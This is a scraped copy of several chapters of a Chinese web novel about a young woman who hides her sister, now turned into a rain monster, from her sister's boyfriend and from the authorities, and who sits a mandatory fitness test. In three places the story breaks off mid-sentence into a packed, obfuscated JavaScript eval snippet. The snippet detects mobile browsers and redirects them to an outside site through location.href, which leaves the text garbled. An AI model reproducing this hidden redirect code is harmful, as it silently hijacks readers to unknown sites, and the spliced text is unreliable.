每个活着的生命体都会有很多线,在与其他东西或人交互触碰时会分出一条黏连在上面,然后渐渐变浅消散,七日后便会完全看不见。 许浪生心一沉,嘴上还是不肯放弃:“怎么可能!”他皱眉看向向烛,“妹妹你是不是拿错了?这真是你姐的吗?” 向烛垂着头,“……这就是我姐的东西。失踪前一天她还用它梳过头发。” 这确实是向灯用过的梳子。 向烛没有做任何掩饰,没有造假,没有说谎,真的只是按照许浪生的嘱托做了。 垂弯的眼睫将瞳孔掩了一半。 杨晓月的方法和评论里的一模一样。 虽然官方不让大肆传播关于异能者和雨人的画面和信息,但异能者公司为了接活专门做了委托软件。 向烛昨晚下了好几个APP,翻遍了荒植家的售后评价,终于找到一些查找失踪人口的委托评价,里面有人描述了具体的过程。 看到好几条都说的一个办法,向烛对此有些把握,但又有几分担心荒植会不会还有其他方法,万一其中有个方法会暴露灯姐的现状…… 虽然有风险,但向烛实在想不出什么别的好办法。纠结许久后她决定碰碰运气,真的拿了灯姐的东西。 向烛知道灯姐还活在那个怪物的身体里,可从生物学的角度来看,里面没有她了。 向烛是个幸运的人,她什么也没做,自然什么也不会被怀疑。看来这场危机可以平安度过了。 许浪生眉头打结,“你确定一定是死了才会这样?” 杨晓月点头,“是的。生缘线断了,意味着另一端的生命消亡了。” 许浪生不说话,向烛低着头没有看他,她害怕流露出一丝松懈的神情叫他发现异常。 “可恶!”许浪生拳头砸了一下桌面,捂着脸哭了起来。 向烛这时才抬起头,静静地看了他一眼。 她解决这个麻烦了。一切都很顺利。 向烛又一次撒了大谎而无人发现。 她站起身,有些晕眩,脚底浮软,“不好意思,我先回去了。” 向烛走出房间后,走得很慢。她在过道一边走一边观察透明玻璃后的工作人员。 她从市场部走到尸体转运部,尸体转运部只有一扇门紧闭着,里面什么也看不见。又从尸体转运部走到执行部。 执行部的异能者们也是坐在一个又一个格子间里,只不过格子间里的人不多,三三两两的,不是在玩手机就是在用电脑看电视,明目张胆的摸鱼。 清雨队负责了绝大多数雨人和异能者相关事件,异能者公司能做的委托应该没有很多。 向烛看向正背对着自己、穿了件黑色运动外套的男人,他瘫在椅子里,头上戴着灰色的耳机,眼睛正盯着电脑上的动画画面。 里面的角色有些眼熟,向烛再仔细一看,发现他摆在一边的笔记本封面也有点眼熟,好像在蔡萝那里见过一样的。 现在的年轻人都很喜欢这些吗? 向烛又看向其他格子间,她简单数了一下,这里估计能坐三十个人左右。 荒植事务所不是一间很大的异能者公司,向烛看他们公司界面介绍说自己有一百多号人,估计实际只有五六十。 虽然公司不大,但他们和清雨队联系非常紧密。介绍页面有提到他们经常需要配合清雨队出任务。 如果进了荒植事务所,或许可以更了解雨人,早一点知道一些研究成果,或者偷偷取一点新鲜的骸生物…… 向烛脑海中浮现出这个危险的想法。 去繁光林实在太不安全了。里面的人比她想象中多,向烛第一次去就被逮个正着,再这样下去,也许没一个月就会被撞个现行。 向烛需要一个能更好地获得尸体的途径,也需要知道更多关于雨人的情报,比如如何让灯姐更听她的话。 灯姐现在虽然听话没乱跑,可其他事情就很不配合。叫她睡卧室她要睡地板,叫她不许在她上厕所的时候穿墙进来她也不听,如果真的就这么直接“隐居”,或许灯姐也会做出些危险的事情,还是要暴露。 知己知彼,百战百胜。向烛需要更了解雨人,那进入跟雨人相关的机构肯定是最好的。虽然她真的很害怕这样做……换掉稳定的工作,去一个她不熟悉的领域,重新结识一堆陌生人,光想想就已经开始觉得疲惫。 向烛最早考虑的是清雨队。但清雨队需要通过考核,而且以后估计也不好辞职,她很难在攒够钱后找到合适的理由离开。最重要的是,清雨队里对雨人敏感的人一定更多,万一向烛一不小心暴露了,比如有人闻到她身上腐藤的铁锈味之类的…… 如果能进荒植工作或许不错。但荒植出任务的都是异能者,她如果进来做文员能找到合适机会吗?而且所有无人认领的尸体都是由清雨队处理的,荒植虽然也是国家参与的企业,但尸体仍然要转交给清雨队。 去清雨队应该更好给灯姐找吃的,但这边转运部说不准也有机会,可是再转交给清雨队的话就不好解释上面的刀口之类的…… 向烛在思索间走到了电梯前,傻傻站着,忘记按按钮。 一只手从后面伸出来按住向下的键,向烛扭头看向许浪生——他神情不太好。 向烛转回头,看向电梯上跳动的电子屏幕,什么也没说。 两个人沉默地坐着电梯下去,等电梯门再打开时,许浪生才如梦初醒般问道:“我送你回去?” “不用了,我自己回去就好,拜拜。”向烛说完便加快脚步,即使都往门口走也在两人之间拉开一段距离。 许浪生看着那个决绝躲避的背影,不禁有些茫然。 女朋友说的那个温柔可爱又粘人的妹妹到底在哪?这亲属滤镜未免太重了。 许浪生想起向灯,心里又一阵伤感。 真的死了吗?他不愿相信。 向烛驻足在自己的自行车旁,拿出手机看荒植的招聘信息。 现在只招执行员和一个整理档案的,但后者要求有两年工作经验。 “要迟到了!吟和你快点!”清甜的女声由远及近。 头也没抬的向烛被从后面冲来的人猛地一撞,手机从手里飞出去滑摔在地,扎着高马尾的年轻女人往前踉跄好几步。 “啊!抱歉!”女人扭头看到地上的手机,吓了一跳,“天哪!” 她蹲下身捡起手机,用衣服擦了擦,试着按了下屏幕,屏幕亮起后她松了口气。 她看向走过来的向烛,“真的很对不起,你今天急着用手机吗?不对,我问的什么话呀,现在哪还有不用手机的……”高马尾的姑娘有些语无伦次。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045053|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向烛接过手机,有人这么强烈地向她道歉,她反倒也紧张起来,“没事……” 向烛打开主界面滑动,“好像只是屏幕碎了,我换个膜就是。” “膜的钱让我出吧!”她摸了下身上,“手机忘拿了。” 年轻女人看向向烛身后,“吟和你身上肯定有现金吧?借我五十。” 向烛:“五十太多了,十块钱就够了。” “是我该赔给你的误时费,膜坏了不得麻烦你去换吗?我已经很抠搜,说的很少了。”她不好意思地笑了笑。 向烛也笑了下,“不会。” “给。”身旁伸出来一只白净修长的手,大拇指与食指间夹了张五十。 向烛看向对方,男人比她高一个头,留着短碎发,偏细长的眼睛垂下来看她,上下睫毛都长,整个人看起来冷漠内敛。 向烛接过五十块,“谢谢。” “我们赶时间,得走了,真的很对不起!”高马尾的女人两掌合贴。 “没事,祝你们顺利。” 女人挥挥手跑远,身后的男人也小跑跟了上去。 向烛骑上自行车往家赶,路上碰到一群人聚在一起。 “简直警匪大片啊,听说追了大半条街,打坏了好多东西。” “这种坏异能者捉住也不一定有用的,刑满出来,再干坏事的几率可高了。” 向烛大概能猜到,应该是清雨队的在抓那个逃跑的异能者,所以荒植的人也赶去了。 向烛不喜欢凑热闹,她绕远路避开。 不认识的人发生了什么,又得到了怎样一个结局,向烛从来不关心。 深绿色的门一推开,向烛就听到喵喵叫,她抬手摸了摸粮长的脑袋,笑得轻淡,“我回来了。” 向烛又看向客厅,看到一滩水铺在地上,安下心来。 其实把姐姐藏起来也没有很难。 忙活一阵还没来得及吃晚饭,向烛坐在桌边,打开刚才顺路买的包子、茶叶蛋开始啃。 w信叮咚一响,她瞄了眼手机,是老板发来消息:小向,查下汇率发我。 这么小的事情,自己搜一下不就是了?她搜完再发给他不浪费时间吗?而且她是市场文案,又不是他秘书。 向烛从鼻中叹出无语的气,吃完第二个包子才回他。 她隔着塑料袋揉搓茶叶蛋。 是要等荒植招人还是去报考清雨队? 向烛又开始纠结了。 清雨队的春招是笔试加体考,笔试还行,体考……她的身体素质一直堪忧,每个季度的体能测试都是将将到“良”,还多亏了灯姐陪她练习。说起来,她这个季度的体测还没消息。 手机突然传来短信,向烛低头一看,真是说曹操曹操到。 【南城街道应急防御办公室】向烛同志: 根据《全民雨人防御体能提升管理办法》,春季季度体测为全民必测项,为避聚集,采用“分批次随机分配时段”(每批100人,覆盖全季度)。 您的测试安排:2月17日(周五)14:00-16:00,地点为南城第三片区训练场(原南城中学操场西侧半区)。测试含基础耐力(3000米跑)、爆发力(短距冲刺)、反应速度(模拟雨人突袭躲避)三项核心项目,旨在提升全民应对雨人时的基础反抗与逃生能力。具体分组信息请前往场地看当天安排。 需携居民身份证,可适量进食,建议穿防滑鞋。逾期未到将自动顺延至季末补测批,连续未参与将统一安排至街道集中训练点,直至测试合格。 特殊情况需调批次,2月14日前致电073-8492XXX7报备(需医院证明)。 请务必准时到场,错峰监测是全民共同的责任,感谢您的配合。——南城街道应急防御办公室 10. 第 10 章 居然是这周五…… 以前明明都会提前一周通知,向烛还有时间去临时抱佛脚训练一下,现在就剩两天了。 向烛开始感到头痛了,刚解决完许浪生又要去体测,为什么事情都堆在一起来? 她咬了口茶叶蛋,微苦的味道在口腔蔓延。 向烛想,是不是明天晚上应该稍微去跑一下?但那样周四肯定会腿软,周五估计腿还酸,可跑两天总比完全不跑好。如果完全不跑,到时候体测跑三公里一定又会很难受。 向烛当年第一回参加体测就是毫无准备就上了,跑完刚刚及格,但没走两步就吐了。 季度体测的要求其实并不高,是向烛太弱了,她的身体素质只在小初中能看,后来一路下滑,随便跑几步也会累,坐了这么久办公室更是如此。每天她都零点才睡,周末又经常和姐姐通宵看电影或电视,一觉睡到下午,过着黑白颠倒的日子。 虽然向烛爆发力项目成绩很好,反应速度也还行,但现在都只是能勉强应付基础耐力跑的人真的能通过清雨队的体能考试吗?他们的要求一定难很多吧? 向烛忐忑地将清雨队的宣传单拿出来,目光移向中间那栏“我们需要这样的你”。 报名条件是50岁以下,根据体考和笔试的成绩按6比4折算综合分数,择数录取。宣传单上没写具体要招前多少名,笔试内容也没写,体考的项目只简单写了“三公里耐力跑、障碍穿越、力量测试、反应与协作”。 具体招多少人他们要看到时候参考的人员质量。 向烛扫描宣传单上的二维码,进入官网。 朴实无华的页面上有一个红黄色显眼的键“报名”。 向烛点进去看。 笔试有三项主要内容:雨人特性与应对、基础逃生与环境适应、生物与急救知识。 体考的具体要求在这里写得非常仔细,向烛还没看到后面,第一个耐力跑就有些将她劝退了,三公里最多也要在18分钟内跑完,而向烛连两公里都要跑二十多分钟…… 其他的项目要求也很高。就算向烛笔试满分也弥补不了巨大的鸿沟吧? 向烛有些心灰地退出网页。 她冷静下来想想,觉得确实也不该进清雨队。她身边有灯姐这个定时炸弹,一个不小心就可能露出马脚,毕竟她又不是什么末世文的主角,做不到算无遗策。 放弃考清雨队后,向烛又开始刷荒植事务所的招聘信息,里面只有可怜的两条,偏偏都是向烛看不了的活。 如果说谎自己有两年档案整理经历,一下子就会被看穿吧? 向烛没有在这些事情上多想,她今天在许浪生的事情上已经耗费了许多精力,吃完饭没多久就开始感到困倦。她看了眼地上透明的一滩水。 灯姐今天睡得很久。 向烛关了客厅的灯,将藏在柜子底下的粮长抱出来陪自己去睡觉。 天亮,天又暗,整个天空灰扑扑的。 向烛打卡下班走到楼下时,天上落下了冰凉的雨滴,透明的雨滴。 这只是一场普通的雨。 向烛从包里拿出淡绿色的雨伞砰地撑开,雨点打在上面敲出和谐的节奏。 自从蓝雨出现以后,连带着雨的风评一路下滑,“雨天”成了全民最讨厌天气排行榜榜首,但向烛还是和以前一样喜欢下雨。 云中的小水滴聚集成了大水滴掉落下来,只是这样而已。这个世界正在经历什么喜怒哀乐都与它们无关,真是自由自在。 向烛下雨天不骑车,她准备慢慢走回家,一路观察两边的商铺有没有什么变化。 她走上天桥,从不断往前的车流上走过。 她穿过人行道,向让行的公交车轻轻鞠躬。 向烛一路走到小区,小区外面一排都是商铺,但很多已经失去了主人,只是空挂在那里,招牌的名字早已被洗刷褪色。 她从一家废弃的甜品店门前经过,转身进了小区。 阴暗灰败的甜品店内,蓝色的液体逐渐从墙壁中流出,在地上形成一滩,转瞬间便向上形成长着两个羊角、浑身黏糊感的身体。 它从门缝间挤出,又瞬间化成液体流进地缝中,迅速向小区内前进。 浑浊的雨水落在伞面,往下垂,滴在木色的地板。 向烛将伞拿到阳台挂起,没多久就接到了同城快递的电话,门口渐渐堆起一个又一个箱子。 正如他们今天商量的一样,蔡萝将自己的东西寄了过来,还寄了一箱子零食。 向烛将箱子都抱到门口,关上门,拿出手机给蔡萝拍了张零食箱子的照片。 大蜡烛:「客气客气.gjf」 蔡萝:「送你花花.gif」 她把手机放在沙发上,开始将箱子往向灯的房间搬运。 看她搬,向灯也有样学样,两手各自托起一个箱子,运到自己的房间里去。 向烛看她如此轻松,自己上手一试,全都是书的箱子刚离地一厘米就让她的手指痛了起来。 向烛甩甩手,“姐你现在是大力士了,以后妹妹就不能帮你拧瓶盖了。” 她看着向灯将最后一箱东西运进来,“谢谢。” “咚咚咚——” 沉闷的敲门声响起,向烛奇怪地走到门口,她整个人趴到门上看猫眼,什么人也没看见。 怎么回事…… 向烛心一紧。是小朋友恶作剧吗? 沙发上的手机传来消息提示音,向烛拿起来看到锁屏上的w信消息。 蔡萝:「请小向姐你喝奶茶~」 蔡萝:「感谢.gif」 向烛发了个笑哭的表情包。 大蜡烛:「你的感恩大礼包太丰盛了吧?」 蔡萝:「我都没什么朋友,多亏了小向姐肯帮我」 蔡萝:「落泪.gif」 大蜡烛:「怎么我也是你前辈~等你也熬成老油条,我俩就互——」 向烛字还没打完,脚上突然一凉。她低头看去,门缝下不断流淌出蓝色的液体。 她猛地往后跳起。 只见蓝色液体上汩汩冒出一个小泡泡,泡泡不断变大,眨眼间就与门一样高,无声地破裂后,里面的羊角头人形出现。 向烛呼吸一滞,怎么会有雨人在这里? 她拔腿就冲进厨房,拔了水果刀就往自己手掌上一划,一道血口迅速出现。 拿到了武器,向烛的头脑却还一片混沌。 羊角雨人似乎有些迟疑,它缓步往厨房走。 向烛看到灯姐从房间出来,“姐!快躲进去!” 不对,雨人又不吃雨人。 “姐!过来帮我!” 向灯几个大跨步就冲到了羊角雨人面前,她比羊角雨人高了整整一个头,但对方更壮。 羊角雨人的角突然变得很大,它低头往前一冲,向灯直接被撞出个大窟窿,头和腿掉在地上。 向烛倒吸一口气,她攥紧带血的刀刃冲上去一划,成功将对方的一只胳膊削了下来,但也仅此而已。 向烛被对方用另一只手抓住拎起来,她两脚悬空,又被猛地砸在地上。 小刀被震飞出去,向烛又被对方拎起来,第二次要往地上砸时,一个蓝色的拳头飞过来直接将羊角雨人打在地上。 向灯一个跨步上去,用小刀直接在对方脖颈从左划到右。 蓝色的羊角头里染了红色的血丝,掉在地上,迅速下扁成了一滩血水。 向灯拿着带血的刀,静静立在血水中。 向烛腰酸背痛地站起来,走过去,“还好有你姐。你现在简直是战神。” 向灯没理会她的彩虹屁,拿着刀移动到厨房,开始用水龙头冲洗刀具。 向烛看向地面的血水,心里发毛。 为什么这个雨人会来家里袭击她?难道是邻居藏起来的亲人? 向烛不敢多想,打了桶水,拎着拖把准备过来打扫,没想到洗完刀出来的向灯直接化成液态在上面游走了一下,血水就消失得一干二净。 她握着拖把杆出神。 事已至此,先吃饭吧。 向烛把东西放回去,又去厨房将冰箱上层的息块和腐藤拿出来。息块除了变得硬邦邦没什么不同,但腐藤却变得更加暗沉,像枯柴一样。 灯姐上次都没怎么吃腐藤,剩下一大堆。是息块味道更好吗? 向烛先把腐藤放在桶里推给灯姐,“再放这个估计要坏了,姐你先吃这个。” 向灯张开嘴,埋头将里面的腐藤吃了大半,然后将桶推到她面前。 “饱了吗?”即使变成怪物,灯姐的胃口还是这么小。 向烛拿起桶要抬走,又被向灯伸手按下。向烛疑惑地看向她,“怎么了?太硬了想等一下吗?” 看来冻起来的话,雨人也觉得硌牙。 “那你在这儿等会儿吧,化了再吃,我下楼去跑步。” 向灯又将她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045054|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀按了下来,叫她坐在桶前。 向烛终于明白过来,无奈地笑了。 感觉好像看到了粮长小时候。 向烛喂给粮长一块肉肠,然后就躺到床上玩手机,没想到过了一会儿它就将黏糊糊的另一半叼到床上,放在她手边。 “姐,我跟你不一样,我不吃这个。”说完向烛愣了一下,“我们是一样的,我们都是人类,但是……现在暂时不一样。等你恢复了,我请你去吃海鲜大餐。不过我们经常去的那家好像倒闭了,也不知道还能不能找到一样好吃的。”她笑了笑。 向烛拿起向灯冰凉的手,又软又硬的诡异触感叫人毛骨悚然,可她却感到心口温暖,有些鼻酸。 灯姐还记挂着她。 虽然只是这样一件小小的事,可只要看起来还有一丝人类的温情都会叫她感动。让她觉得自己的坚持没有错。 向烛拍拍她的手,“好了,我要下去跑步了,不然等下和遛狗的撞一块了。饭我回来再收。” 向烛进屋换了身运动装,穿好鞋子下楼。 向烛以为自己可以,但走到寂静的小区里时她又想起了刚才那只怪异的雨人。 到底是为什么会突然出现在家里?难道是因为灯姐在家?雨人有聚群的习惯吗?小区里还有吗? 向烛连耳机都还没戴上就又坐电梯回去了,看到灯姐还在吃饭,安下心来。 她没有自己想象中那么能平静面对。 向烛又想到灯姐之前冲出来的身影。这一次还是灯姐保护了她。如果她一直这么弱小,以后真的还能护住灯姐吗? 向烛背靠着门,轻轻叹了一声。 周四的黄昏时分,向烛鼓起勇气在小区里偷偷摸摸地练习跑步。她戴上耳机,听着轻快的音乐,以一种谨慎的脚步跑了起来。 刚跑几百米向烛就觉得有点嗓子痒了,咬牙坚持到一公里才停下来走。她这完全是慢跑。 向烛两手叉腰,看着小径两旁物业种的紫色杜鹃花。 余光瞥到远处有人牵着狗要走过来,她先一步绕开了路,走回跑来的方向。 明明又不是在偷东西,就是不好意思让人看到自己在做运动。向烛有时候也不是很能理解自己。 向烛走了一分钟又继续跑。就这样走走停停,勉强算到了3公里。 向烛呼吸急促,用纸巾擦头上的汗。走在外面觉得热,回到家的时候又开始觉得有点冷了。 她搓着胳膊打了个喷嚏。 喷嚏一直打到第二天早上。向烛一边收拾背包一边跟站立着的向灯说话:“我今天下午要去参加体测,以前都是我们一起去,现在一个人还怪不习惯的。体测完了就顺路去繁光林给你找吃的,可能回来会比较晚。” 肚子突然一疼,向烛将保温杯放下,跑进厕所。 向灯看向桌上的保温杯,蓝色的液体往里一溜,没有一丝痕迹就进去了。 躲在角落观察的粮长一下子就跳了上来,眼睛盯着保温杯上下看,又用鼻子闻。 “哎呀!坏猫!等下打翻了。”向烛拍了它一屁股,拿过保温杯塞到背包侧边。 向烛穿好鞋子出门。 * 向烛上午上完班,吃完午饭在公司厕所换了运动服就往南城中学赶。 南城中学是个已经荒废的学校。 蓝雨带走了很多大人,很多小孩。整个国家没有那么多孩子要上学了。 向烛看着三三两两往操场走的人。 操场的围墙上多了一大块遮雨板,向烛走在底下,绕着走。 她是青年女性C组,隔壁不远处排了青年男性C组。 向烛瞟了一眼,看到隔壁青年男性C组里一个又高又帅的人。 头发干净利落,整个人也很有精神,帅气得让她有种似曾相识感。 向烛排到队伍里去。大家站着闲聊,就像回到以前初高中运动会一样,不过没那种兴奋劲。 少上半天班还照常发工资,有的人还是很高兴的。 小组长端着平板,开始从前往后点人头,确认名字。为了避免替考,要核对身份证和体测证上的信息。 隔壁的青年男性组也在核对,对方的小组长边看边下意识念他们的名字。 “李又?” “张输完?” “林才深?” 听到这个名字向烛有种被闪电击中的感觉。 是上次在繁光林抓住她的清雨员…… 11. 第 11 章 原来清雨员也要正常参加季度体测。 向烛本就跳得快的心跳得更快了。他们都是C组,女子耐力跑是三公里,男子是五公里。等会儿要一起热身、起跑。林才深应该不会认出她来吧? 向烛今天穿着灰绿色运动外套和黑色运动长裤,将刘海用发夹都往上别了起来,素面朝天,和去捡骸生物那天看起来完全不同,而且刚刚小组领队人也没有叫过她的名字。不会被认出来的。 “清雨队的招聘你看了没?”前面肩并肩的一高一矮的两个女人开始聊天。 “看了啊,我去,没点体能真干不了。我完整跑完三公里都要死要活的,他们还有速度要求。”矮个女人扁起嘴。 “我有点想报诶。” “你除了长得高点,跟我有什么差别?你不怕跑死在考试场上啊?” 高个女人神秘地笑了笑,“我看到有体能培训班可以报,包过的!” 一直默默在听的向烛没忍住插话了,“这个也有培训班吗?” 前面两个人扭头回来看她,也没觉得冒昧,和她聊了起来,“你也想考吗?是啊,我也是在网上刷到的,笔试的培训也有。不过一节课要两百块钱,有点肉疼。” 向烛点点头,“是有点贵。” 矮个女人撇撇嘴,“这年头抢钱的人多的是。” 两掌合拍的清脆声音响起,是他们的女组长。 “好,我们C组先热身吧。” 两组人往后走到一片空地,展臂腾出各自之间的距离。简单操练后,是暂时的自由活动时间。 向烛个子不高,站得比较前面,而林才深又长得高,站在后面,两个人处于斜前后的位置,林才深往后偏个头就能看到她。 向烛心怦怦直跳,她蹲下来压腿,脸对着大腿。 “青女C组,50米准备。”工作人员从最前面走过,声音像风一样飘动到旁边。 “青男C组,反应准备。” 终于要分开,向烛松了口气。 小组长走到最前面,开始带着向烛他们这队人穿过操场去50米起跑处。 向烛站在起跑线前,听到发令枪的声音时起步慢了半拍,但最后也是前三个冲刺到终点线。 虽然体能素质有点差,但向烛并不讨厌运动,她甚至曾经热爱过。 小初中的时候她很喜欢接力跑,每年运动会都报名。 向烛一般是第二棒或者第三棒。她不喜欢做第一棒要听发令枪,也不喜欢做最后一棒,在众人的欢呼鼓舞中冲到最后。 处在四个人中的中间位置,那种可以无所顾忌、等待一个人又冲向另一个等待的人的感觉叫她着迷。 不过上高中以后,她因为学习的事情已经对此完全没有了兴致。 那些属于奔跑的快乐已经远去了。 一个项目结束,休息、拉伸、排队……半小时后向烛他们才排到了第二个项目:反应速度。 向烛站在地上划的白线区域内,看着像个稻草人一样的机器人,它只有一米五左右高,中间位置会追踪人体,每隔5秒吐出一个泡沫球,需要被袭击的人一直躲避。 一分钟内被击中次数小于6个就是及格。 向烛常常眼睛看到了,四肢跟不上,有时候一不留神就慢了半拍,被打中,但最后也是没什么意外地拿到了“良”。 前两项都不是什么难事,最艰难的就是三公里跑。向烛每每听到这个就觉得难受。她真的很讨厌长跑,那种跑着跑着就呼吸紊乱、腹部发痛的感觉实在太难受了。初中是八百米,大学是两公里,毕业以后居然还要受三公里的摧残…… 向烛一行人站在中央的绿草地上排队等待,看着一批又一批在跑道上奔跑的人。 其中有不少人戴了耳机,一副轻松惬意的模样跑过去。 向烛此刻真想魂穿他们身上,轻轻松松地通过这场考试。 她的精力全放在跑道上,连结束其他项目的男青C组慢慢走过来了也没注意到。 等她注意到时,他们已经要一起上跑道了。 十男十女随意地在白色的线前呈弧状的一字排开。向烛的脚一前一后,微弓着身子。 裁判站在最左侧,一声哨后按下秒表。 向烛忧心忡忡地迈开脚步开始跑,二十个人往第一条跑道挤,向烛被高个子男生挡住,错过好时机,最后只能跑在倒数几个的位置。 虽然跑在最后面,但向烛跟得很紧。前面如果有人渐渐掉下去,她就马上插上去。向烛怕如果一开始就落队,后面更跑不动了。 最前面的人步子迈得又大又有节奏。 向烛听着耳机里轻快的音乐,每跑两步吸一次气,也还算有点小节奏。 四百米一圈的跑道,要跑7.5圈才能结束折磨。 向烛稳健地跑完了第一圈,一直在女生的第一梯队里。第二圈她的呼吸开始有点急促了,跑完时已经脱离了最前面的队伍,来到了中间,并慢慢被拉开距离。 向烛跟在一位身材修长的长发女性身后。 第三圈跑完,向烛侧腹发疼,她努力忽视不适,稳住步伐。 第四圈,微冷的气从鼻子里进进出出,又酸又疼,眼睛也是。鼻子里开始流出清鼻涕,扰乱了她的呼吸和步伐,她歪歪扭扭地跑,拿出右兜里备好的纸巾擤了一下,好受许多。她将脏纸团放进左兜里。 第五圈,向烛感觉喉咙也火辣辣的。她的嗓子很干,还有点痒。脚步和呼吸经常匹配不上,她咽了下口水,喉咙像刀刮过一样疼,好不容易才重新调整好呼吸。 从中间这个小队伍掉队的人越来越多,向烛咬牙超过步子变缓的人,紧跟着带队的。 第六圈,向烛感觉腿软绵绵的,她好像在向前跑,又好像没有。她有些抬不起腿了,整个人慢慢向后,被后面跑来的人超过。 她的步子迈得很低,拖地一样在跑。 向烛低头看了眼手表上的时间,在直道提起力气加速,又在弯道失去力量,乌龟一样前进。 最后一圈时,向烛眼前都开始发晕了。呼吸节奏一塌糊涂,她只是由着鼻子努力吸气,脚也迈得乱七八糟,没有一点章法,纯纯凭着身体的记忆在跑。她什么也想不动,什么也看不清了,连耳机里在唱什么也听不见了。 向烛扯下耳机,嘈杂的人声让她清醒了一点。她想加速,可是腿真的太过酸重。 她觉得自己像快要死了一样难受。 “最后一百米了!冲一下!”守在弯道处的工作人员出声鼓励。 向烛用嘴大口吸气,仰着头不顾大腿上传来的酸软感冲刺,可也没能冲到最后,离终点线十几米的地方她慢了下来,看起来像在跑,但几乎和走路一个速度。 “别停!马上到了!”裁判向她招手。 向烛加快了微乎其微的速度,往前过了线。 “7!”裁判报了个数。 向烛往前走,大喘着气,发红发烫的脸上流下汗,她用纸擦去,累得不禁撑着双腿弯下了身,眼睛酸得一闭上就快流出泪来。 “走起来!别停住!”组长喊道。 向烛扶着腰,摇摇晃晃直起身子,往回走到草坪。她的嗓子又痒又干,掩唇咳了好几声,呛进肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045055|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的气让胸口发痛。清鼻涕不停地流。 真的太遭罪了…… 女青C组最后一个人过了好几分钟后才跑到终点。所有人围到裁判身边看成绩。 向烛还是老样子,比及格线少那么一秒。虽然成绩一般,但却感觉费了大半条命。 成绩和身份确认后,组长带着他们在草地上拉伸。 向烛觉得自己的脑袋一直昏昏沉沉的,她压腿、弯身摸脚尖,神游天外。 等到身体稍微回复些后她才找回意识。向烛看向还在跑道上的男青C组,跟他们一样,也是跑得稀稀拉拉的。 没多久林才深就第一个跑到了,他额上连汗水也没有,只是脸有些发红。他步伐矫健地跑过终点线又轻松地转身回来。 向烛心生羡慕:如果她也进清雨队,以后有可能像他这样吗? 拉伸结束后,女青C组就解散了。向烛走到操场墙缘放包的地方拿东西。 她拿出侧边小包里的保温杯,拧开想喝口水。 杯盖一拧开,她看到杯子里的水是透明的…… 向烛愣住。 自从雨人降临后,所有的饮用水都加了蓝色以外的色素,绝大多数都是米白色的。 向烛马上反应过来,灯姐睡在她杯子里。 她立即将杯盖拧上,但都是汗的手没抓紧,杯子从手里脱出去,砰地掉在地上,咕噜咕噜滚远。 明明都没盖紧,里面的“水”却没有流出来。 一只友善、宽大的手掌向下伸向水杯,向烛一个箭步冲上前先将保温杯捡了起来抱在怀里。 林才深还停在方才弯身的动作。 “谢谢……”向烛站起身,将杯子塞回背包侧边,她背上包就想走。 “等一下,”林才深跟上来,“我之前听到你跟朋友在聊清雨队,你们想参加今年的春招是吗?” 向烛侧偏过身,“额,是啊。” 林才深浅浅笑了一下,“我刚好在清雨队上班。你们要是有提升体能的需求的话,可以考虑报我们今年刚开的培训班,不收费的。” 向烛匆匆的脚步变缓,她稍微平静下来后大起胆子看向林才深,“你是清雨员吗?好厉害,难怪刚刚跑得最快。这个培训班是要去清雨队那边报名吗?” “过几天才上线官网。你要报的话我可以回去帮你报。” “帮我报?” “嗯,”林才深含着浅浅的笑意,跟在繁光林看到的感觉大有不同,“你加下我w信,然后把信息发我就行。” 向烛脊背发毛,“那不用了,太麻烦您了,我等上线了去官网报就好,谢谢。对了,请问那个笔试,你们清雨队有参考书卖吗?” 林才深愣了一下,弯唇一笑,“没有,你用《雨人通用知识手册》就够应付笔试了。雨人相关的内容绝大部分都是从里面出的题。” “好,谢谢,那我走了,拜拜。”向烛扯出一个有些僵硬的笑容,背着包快步离开。 林才深看着逐渐远去的背影,转身走回跑道,停在青女C组小组长旁边,“米声,你名单给我看下。” “怎么了吗?有可疑人员?”米声一边问一边将名单递过去。 “总觉得有个人有点眼熟,好像在哪见过。”他的目光放在名单上,眼睛向扫动,停留在“向烛”两个字上。 原来是她。 林才深对那张脸印象不深,但对这个有些别致的名字印象很深。 米声把脑袋探过来,“有吗?什么人啊?” 林才深将名单递回去,“没什么,只是一个不爱惜生命的人罢了。” 12. 第 12 章 【猫的一生充满暴力,经常死于非命,而且凄惨的死状常出现在人类的活动范围内。 …… 死亡一旦发生——不管是心爱的动物也好,是朋友或亲人也好——要设法应付就够痛苦了……】 “周里桥,到了……” 向烛愣了一下,她关掉电子书,三步并一步奔到下车口,车门一打开就跳下去。 这个偏僻的公交站台没有灯,只能借着对面路灯的光看清周遭。 向烛拍了下酸软疼痛的大腿,将口罩摘下来,深吸了一口气。 